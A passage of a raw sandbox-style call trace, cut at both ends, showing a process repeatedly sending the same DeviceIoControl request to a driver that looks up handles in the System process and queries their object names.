lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.086] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.086] PsAcquireProcessExitSynchronization () returned 0x0 [0064.086] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.086] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002133550, HandleInformation=0x0) returned 0x0 [0064.086] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.086] PsReleaseProcessExitSynchronization () returned 0x2 [0064.086] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.086] ObQueryNameString (in: Object=0xfffffa8002133550, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.086] ObfDereferenceObject (Object=0xfffffa8002133550) returned 0x2 [0064.086] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.086] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.086] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.086] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.086] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.086] PsAcquireProcessExitSynchronization () returned 0x0 [0064.086] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.086] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213b2f0, HandleInformation=0x0) returned 0x0 [0064.086] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.087] PsReleaseProcessExitSynchronization () returned 0x2 [0064.087] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.087] ObQueryNameString (in: Object=0xfffffa800213b2f0, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.087] ObfDereferenceObject (Object=0xfffffa800213b2f0) returned 0x2 [0064.087] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.087] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.087] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.087] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.087] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.087] PsAcquireProcessExitSynchronization () returned 0x0 [0064.087] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.087] ObReferenceObjectByHandle (in: Handle=0xffffffff800006fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002133af0, HandleInformation=0x0) returned 0x0 [0064.087] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.087] PsReleaseProcessExitSynchronization () returned 0x2 [0064.087] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.087] ObQueryNameString (in: Object=0xfffffa8002133af0, ObjectNameInfo=0xfffffa80038f8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.087] ObfDereferenceObject (Object=0xfffffa8002133af0) returned 0x2 [0064.087] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.087] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.087] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.087] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.087] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.087] PsAcquireProcessExitSynchronization () returned 0x0 [0064.087] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.087] ObReferenceObjectByHandle (in: Handle=0xffffffff80000700, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213d810, HandleInformation=0x0) returned 0x0 [0064.087] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.087] PsReleaseProcessExitSynchronization () returned 0x2 [0064.087] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.087] ObQueryNameString (in: Object=0xfffffa800213d810, ObjectNameInfo=0xfffffa80038fb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.087] ObfDereferenceObject (Object=0xfffffa800213d810) returned 0x2 [0064.087] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.087] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.087] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.087] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.088] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.088] PsAcquireProcessExitSynchronization () returned 0x0 [0064.088] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.088] ObReferenceObjectByHandle (in: Handle=0xffffffff80000704, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021354b0, HandleInformation=0x0) returned 0x0 [0064.088] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.088] PsReleaseProcessExitSynchronization () returned 0x2 [0064.088] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.088] ObQueryNameString (in: Object=0xfffffa80021354b0, ObjectNameInfo=0xfffffa80038ef044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ef044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.088] ObfDereferenceObject (Object=0xfffffa80021354b0) returned 0x2 [0064.088] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.088] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.088] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.088] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.088] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.088] PsAcquireProcessExitSynchronization () returned 0x0 [0064.088] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.088] ObReferenceObjectByHandle (in: Handle=0xffffffff80000708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213bd20, HandleInformation=0x0) returned 0x0 [0064.088] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.088] PsReleaseProcessExitSynchronization () returned 0x2 [0064.088] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.088] ObQueryNameString (in: Object=0xfffffa800213bd20, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.088] ObfDereferenceObject (Object=0xfffffa800213bd20) returned 0x2 [0064.088] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.088] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.088] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.088] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.088] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.088] PsAcquireProcessExitSynchronization () returned 0x0 [0064.088] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.088] ObReferenceObjectByHandle (in: Handle=0xffffffff8000070c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002133350, HandleInformation=0x0) returned 0x0 [0064.088] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.088] PsReleaseProcessExitSynchronization () returned 0x2 [0064.088] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.088] ObQueryNameString (in: Object=0xfffffa8002133350, ObjectNameInfo=0xfffffa80037bc7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037bc7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.089] ObfDereferenceObject (Object=0xfffffa8002133350) returned 0x2 [0064.089] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.089] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.089] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.089] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.089] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.089] PsAcquireProcessExitSynchronization () returned 0x0 [0064.089] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.089] ObReferenceObjectByHandle (in: Handle=0xffffffff80000710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213b780, HandleInformation=0x0) returned 0x0 [0064.089] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.089] PsReleaseProcessExitSynchronization () returned 0x2 [0064.089] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.089] ObQueryNameString (in: Object=0xfffffa800213b780, ObjectNameInfo=0xfffffa80038be044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038be044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.089] ObfDereferenceObject (Object=0xfffffa800213b780) returned 0x2 [0064.089] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.089] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.089] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.089] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.089] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.089] PsAcquireProcessExitSynchronization () returned 0x0 [0064.089] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.089] ObReferenceObjectByHandle (in: Handle=0xffffffff80000714, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021345e0, HandleInformation=0x0) returned 0x0 [0064.089] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.089] PsReleaseProcessExitSynchronization () returned 0x2 [0064.089] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.089] ObQueryNameString (in: Object=0xfffffa80021345e0, ObjectNameInfo=0xfffffa80038da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.089] ObfDereferenceObject (Object=0xfffffa80021345e0) returned 0x2 [0064.089] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.089] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.089] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.089] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.089] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.089] PsAcquireProcessExitSynchronization () returned 0x0 [0064.089] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.090] ObReferenceObjectByHandle (in: Handle=0xffffffff80000718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002139d20, HandleInformation=0x0) returned 0x0 [0064.090] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.090] PsReleaseProcessExitSynchronization () returned 0x2 [0064.090] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.090] ObQueryNameString (in: Object=0xfffffa8002139d20, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.090] ObfDereferenceObject (Object=0xfffffa8002139d20) returned 0x2 [0064.090] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.090] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.090] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.090] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.090] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.090] PsAcquireProcessExitSynchronization () returned 0x0 [0064.090] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.090] ObReferenceObjectByHandle (in: Handle=0xffffffff8000071c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002502f20, HandleInformation=0x0) returned 0x0 [0064.090] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.090] PsReleaseProcessExitSynchronization () returned 0x2 [0064.090] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.090] ObQueryNameString (in: Object=0xfffffa8002502f20, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.090] ObfDereferenceObject (Object=0xfffffa8002502f20) returned 0x2 [0064.090] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.090] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.090] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.090] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.090] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.090] PsAcquireProcessExitSynchronization () returned 0x0 [0064.090] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.090] ObReferenceObjectByHandle (in: Handle=0xffffffff80000720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002157050, HandleInformation=0x0) returned 0x0 [0064.090] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.090] PsReleaseProcessExitSynchronization () returned 0x2 [0064.090] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.090] ObQueryNameString (in: Object=0xfffffa8002157050, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.090] ObfDereferenceObject (Object=0xfffffa8002157050) returned 0x2 [0064.090] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.090] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.091] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.091] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.091] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.091] PsAcquireProcessExitSynchronization () returned 0x0 [0064.091] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.091] ObReferenceObjectByHandle (in: Handle=0xffffffff80000724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80026dd050, HandleInformation=0x0) returned 0x0 [0064.091] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.091] PsReleaseProcessExitSynchronization () returned 0x2 [0064.091] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.091] ObQueryNameString (in: Object=0xfffffa80026dd050, ObjectNameInfo=0xfffffa80038e0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.091] ObfDereferenceObject (Object=0xfffffa80026dd050) returned 0x2 [0064.091] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.091] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.091] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.091] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.091] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.091] PsAcquireProcessExitSynchronization () returned 0x0 [0064.091] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.091] ObReferenceObjectByHandle (in: Handle=0xffffffff80000728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f92f20, HandleInformation=0x0) returned 0x0 [0064.091] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.091] PsReleaseProcessExitSynchronization () returned 0x2 [0064.091] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.091] ObQueryNameString (in: Object=0xfffffa8001f92f20, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.091] ObfDereferenceObject (Object=0xfffffa8001f92f20) returned 0x2 [0064.091] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.091] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.091] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.091] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.091] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.091] PsAcquireProcessExitSynchronization () returned 0x0 [0064.091] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.091] ObReferenceObjectByHandle (in: Handle=0xffffffff80000730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034ff3a0, HandleInformation=0x0) returned 0x0 [0064.091] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.091] PsReleaseProcessExitSynchronization () returned 0x2 [0064.091] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.092] ObQueryNameString (in: Object=0xfffffa80034ff3a0, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.092] ObfDereferenceObject (Object=0xfffffa80034ff3a0) returned 0x2 [0064.092] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.092] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.092] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.092] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.092] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.092] PsAcquireProcessExitSynchronization () returned 0x0 [0064.092] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.092] ObReferenceObjectByHandle (in: Handle=0xffffffff80000734, DesiredAccess=0x0, ObjectType=0x0, 